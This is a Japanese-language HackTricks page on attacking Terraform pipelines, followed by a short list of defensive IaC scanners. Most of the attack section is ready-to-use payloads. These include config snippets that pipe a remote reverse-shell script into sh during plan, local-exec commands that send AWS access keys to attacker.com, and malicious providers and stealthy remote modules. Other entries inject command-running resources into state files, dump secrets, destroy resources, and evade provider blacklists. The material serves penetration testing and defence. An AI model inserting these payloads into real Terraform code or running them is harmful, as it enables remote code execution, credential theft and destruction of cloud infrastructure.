Terraform Security

Reading time: 21 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

ドキュメントから:

HashiCorp Terraformは、インフラストラクチャをコードとして管理するツールであり、クラウドおよびオンプレミスのリソースを人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントを管理できるだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。

Terraformはどのように機能しますか?

Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理するために、アプリケーションプログラミングインターフェース(API)を通じて操作します。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。

HashiCorpとTerraformコミュニティは、すでに1700以上のプロバイダーを作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、Terraform Registryで見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。

Terraformのコアワークフローは、3つのステージで構成されています。

  • 書き込み: 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
  • 計画: Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。
  • 適用: 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケーリングする前にVPCを再作成します。

Terraform Lab

コンピュータにterraformをインストールしてください。

こちらにガイドがあり、こちらにterraformをダウンロードする最良の方法があります。

TerraformにおけるRCE: 設定ファイルの毒盛り

Terraformは、ウェブページやネットワークサービスを公開するプラットフォームを持っていないため、terraformを妥協させる唯一の方法は、terraform設定ファイルを追加/変更できることまたはterraform状態ファイルを変更できることです(下の章を参照)。

しかし、terraformは非常に敏感なコンポーネントであり、適切に機能するために特権アクセスを持つさまざまな場所にアクセスする必要があります。

攻撃者がterraformが実行されているシステムを妥協させる主な方法は、terraform設定を保存しているリポジトリを妥協させることです。なぜなら、ある時点でそれらは解釈されるからです。

実際、PRが作成された後にterraform plan/applyを自動的に実行するソリューションが存在します。たとえば、Atlantisがあります:

Atlantis Security

terraformファイルを妥協させることができれば、誰かがterraform planまたはterraform applyを実行したときにRCEを実行するさまざまな方法があります。

Terraform plan

Terraform planは、Terraformで最も使用されるコマンドであり、Terraformを使用する開発者やソリューションは常に呼び出します。したがって、RCEを取得する最も簡単な方法は、terraform planで任意のコマンドを実行するように設定ファイルを毒盛りすることです。

外部プロバイダーを使用する

Terraformは、Terraformと外部プログラムのインターフェースを提供するexternalプロバイダーを提供しています。externalデータソースを使用して、plan中に任意のコードを実行できます。

以下のようなものをterraform設定ファイルに注入すると、terraform planを実行したときにリバースシェルが実行されます:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

カスタムプロバイダーの使用

攻撃者はカスタムプロバイダーTerraform Registryに送信し、その後、機能ブランチのTerraformコードに追加することができます(こちらの例):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

プロバイダーはinitでダウンロードされ、planが実行されると悪意のあるコードが実行されます。

例はhttps://github.com/rung/terraform-provider-cmdexecで見つけることができます。

外部リファレンスの使用

前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。この攻撃をよりステルスな方法で実行することもできます。以下の提案に従ってください:

  • terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む外部リソースをロードすることができます:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

あなたはhttps://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modulesでrev shellコードを見つけることができます。

  • 外部リソースでは、ref機能を使用して、リポジトリ内のブランチにあるterraform rev shellコードを隠すことができます。例えば、git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2bのように。

Terraform Apply

Terraform applyはすべての変更を適用するために実行されます。また、悪意のあるTerraformファイルをlocal-execを注入してRCEを取得するために悪用することもできます。
main.tfファイルに以下のようなペイロードが含まれていることを確認するだけです:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前の技術からの提案に従って、この攻撃を外部参照を使用してよりステルス的に実行します。

Secrets Dumps

terraform applyを実行することでterraformによって使用される秘密の値をダンプするには、terraformファイルに次のようなものを追加します:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraformステートファイルの悪用

Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、この研究はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあったとしても、ステートファイルのベクターを使用する方が、git履歴に痕跡を残さないため、しばしばより巧妙です。

TerraformにおけるRCE: 設定ファイルの毒化

カスタムプロバイダーを作成することが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。

プロバイダーstatefile-rceはこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドをcommand属性に記述できます。terraformの実行がトリガーされると、これはterraform planおよびterraform applyの両方のステップで読み取られ、実行されます。terraform applyステップの場合、terraformはコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、このプロバイダーのソースコードをホストしているGitHubリポジトリで見つけることができます。

直接使用するには、resources配列の任意の位置に以下を含め、nameおよびcommand属性をカスタマイズしてください:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

その後、terraformが実行されると、あなたのコードが実行されます。

リソースの削除

リソースを破壊する方法は2つあります:

  1. 実際に破壊するリソースを指すランダムな名前のリソースを状態ファイルに挿入する

terraformはそのリソースが存在すべきではないと判断し、(示された実際のリソースIDに従って)それを破壊します。前のページの例:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)

EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。

ブラックリストに載ったプロバイダーを置き換える

hashicorp/externalがブラックリストに載った場合は、次の手順でexternalプロバイダーを再実装できます。注意:私たちは、https://registry.terraform.io/providers/nazarewk/external/latest に公開されたexternalプロバイダーのフォークを使用しています。自分のフォークや再実装を公開することもできます。

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

その後、通常通り external を使用できます。

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

自動監査ツール

Snyk Infrastructure as Code (IaC)

Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。

  • 特徴:
  • セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。
  • バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
  • 自動修正プルリクエスト。
  • 詳細な修正アドバイス。
  • サインアップ: Snykでアカウントを作成します。
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkovは、インフラストラクチャをコードとして扱う(IaC)ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析(SCA)ツールでもあります。

それは、TerraformTerraform planCloudformationAWS SAMKubernetesHelm chartsKustomizeDockerfileServerlessBicepOpenAPIARM Templates、またはOpenTofuを使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。

それは、一般的な脆弱性および露出(CVE)に対するオープンソースパッケージと画像のスキャンであるソフトウェア構成分析(SCA)スキャンを実行します。

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-complianceは、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。

  • compliance: 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します。
  • behaviour driven development: ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか?
  • portable: pipからインストールするか、docker経由で実行するだけです。 Installationを参照してください。
  • pre-deploy: デプロイされる前にコードを検証します。
  • easy to integrate: パイプライン(またはgitフック)で実行して、すべてのデプロイが検証されることを保証できます。
  • segregation of duty: テストを別のリポジトリに保管し、別のチームが責任を持つことができます。

note

残念ながら、コードがアクセスできないプロバイダーを使用している場合、terraform planを実行してこのツールを使用することはできません。

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsecは、あなたのterraformコードの静的分析を使用して、潜在的な誤設定を特定します。

  • ☁️ すべての主要(および一部のマイナー)クラウドプロバイダーにわたる誤設定をチェック
  • ⛔ 数百の組み込みルール
  • 🪆 モジュールをスキャン(ローカルおよびリモート)
  • ➕ HCL式およびリテラル値を評価
  • ↪️ Terraform関数を評価 e.g. concat()
  • 🔗 Terraformリソース間の関係を評価
  • 🧰 Terraform CDKと互換性あり
  • 🙅 ユーザー定義のRegoポリシーを適用(および装飾)
  • 📃 複数の出力形式をサポート: lovely(デフォルト)、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
  • 🛠️ 設定可能(CLIフラグおよび/または設定ファイルを介して)
  • ⚡ 非常に高速で、大規模なリポジトリを迅速にスキャン可能
bash
brew install tfsec
tfsec /path/to/folder

KICKS

インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、CheckmarxのKICSを使用してください。

KICSKeeping Infrastructure as Code Secureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

From the docs: Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことが可能です:

  • インフラストラクチャのコードをシームレスにスキャンして、誤設定を検出します。
  • プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを引き起こす変更を検出し、安全なポスチャーに戻すことを可能にします。
  • セキュリティの脆弱性やコンプライアンス違反を検出します。
  • クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
  • ローカルで実行する柔軟性や、CI\CDと統合することができます。
bash
brew install terrascan

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする